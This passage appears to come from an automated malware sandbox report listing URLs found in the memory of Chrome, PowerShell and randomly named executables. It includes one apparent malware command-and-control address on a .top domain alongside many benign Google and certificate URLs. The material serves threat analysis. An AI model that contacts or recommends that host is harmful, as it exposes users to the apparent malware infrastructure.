Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906I
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906R
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906W
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906X
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906Y
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906d
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906y
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/60489
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651G
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860d
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878A
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929S
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047h
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406f
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488U
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553&
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/75569
Source: chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2725005906.000016B000A94000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2721746234.000016B000704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 0000001A.00000002.2721746234.000016B000704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760otl
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162V
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215Y
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229-
Source: chrome.exe, 0000001A.00000002.2726716487.000016B000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693131514.000016B00037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 0000001A.00000002.2720589690.000016B00060C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: powershell.exe, 00000012.00000002.2567719278.0000000007090000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 32eab1d1d8.exe, 0000001C.00000002.3145391427.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2882349545.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116402833.0000000000F7F000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2982719359.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2929836310.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.3116908633.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2849330618.0000000000FC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: chrome.exe, 0000001A.00000002.2716857381.000016B000083000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://home.fvtekk5pn.top/LCXOUUtXgrKhKDLYSbzW17
Source: 5ff77f639c.exe, 0000000C.00000003.2348114391.00000000078E2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://html4/loose.dtd
Source: chrome.exe, 0000001A.00000003.2693192777.000016B000D68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2728083008.000016B000D84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 0000001A.00000002.2730243576.000016B000F10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2731242381.000016B000F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742593364.000016B0010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B0010D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nginx.com/
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nginx.org/
Source: powershell.exe, 0000000D.00000002.2482340700.0000000005643000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2520415882.0000000006123000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2563365666.0000000005703000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2603059212.0000000005EB3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2664145528.0000000005FD3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2731538055.0000000005FB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: chrome.exe, 0000001A.00000002.2730243576.000016B000F10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2731242381.000016B000F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723473297.000016B000983000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B001104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742593364.000016B0010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B0010D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 0000001A.00000002.2730243576.000016B000F10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2731242381.000016B000F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723473297.000016B000983000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B001104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742593364.000016B0010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B0010D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 0000001A.00000002.2730243576.000016B000F10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2731242381.000016B000F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723473297.000016B000983000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B001104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742593364.000016B0010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B0010D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 0000001A.00000002.2730243576.000016B000F10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2731242381.000016B000F20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2723473297.000016B000983000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B001104000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742593364.000016B0010B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2742697957.000016B0010D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: powershell.exe, 0000000D.00000002.2472205985.0000000004736000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2509578909.0000000005216000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2551301768.00000000047F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2591382936.0000000004FA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2644278939.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000D.00000002.2472205985.00000000045E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2509578909.00000000050C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2551301768.00000000046A1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2591382936.0000000004E51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2644278939.0000000004F71000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2710510603.0000000004F51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000D.00000002.2472205985.0000000004736000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2509578909.0000000005216000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2551301768.00000000047F6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2591382936.0000000004FA6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2644278939.00000000050C6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 0000001A.00000002.2723855038.000016B0009B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/a
Source: powershell.exe, 00000018.00000002.2710510603.00000000050A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: chrome.exe, 0000001A.00000002.2724292190.000016B0009E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: powershell.exe, 00000014.00000002.2611927345.0000000007B31000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: file.exe, 00000000.00000002.2155860293.000000006F8ED000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2155250178.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2144052173.000000001D2F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 32eab1d1d8.exe, 0000001C.00000003.2882469962.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.1902015543.0000000000D27000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813480773.00000000058BD000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2814268139.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, 32eab1d1d8.exe, 0000001C.00000003.2813813506.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 0000001A.00000002.2717022050.000016B00008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 0000001A.00000002.2719537811.000016B000428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 0000001A.00000002.2715988002.000016B00001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo?source=ChromiumBrowser
Source: chrome.exe, 0000001A.00000002.2719537811.000016B000428000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2727826556.000016B000D40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2726485560.000016B000C0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard
Source: chrome.exe, 0000001A.00000002.2719537811.000016B000428000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standardom/
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout1
Source: chrome.exe, 0000001A.00000002.2726036039.000016B000B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout?source=ChromiumBrowser&continue=https://accounts.google.com/chrom
Source: chrome.exe, 0000001A.00000002.2729186786.000016B000E54000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 0000001A.00000002.2718146837.000016B0001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 0000001A.00000002.2729652599.000016B000E74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin?source=ChromiumBrowser&issueuberauth=1
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 0000001A.00000002.2718229455.000016B00020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 0000001A.00000002.2717177046.000016B0000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
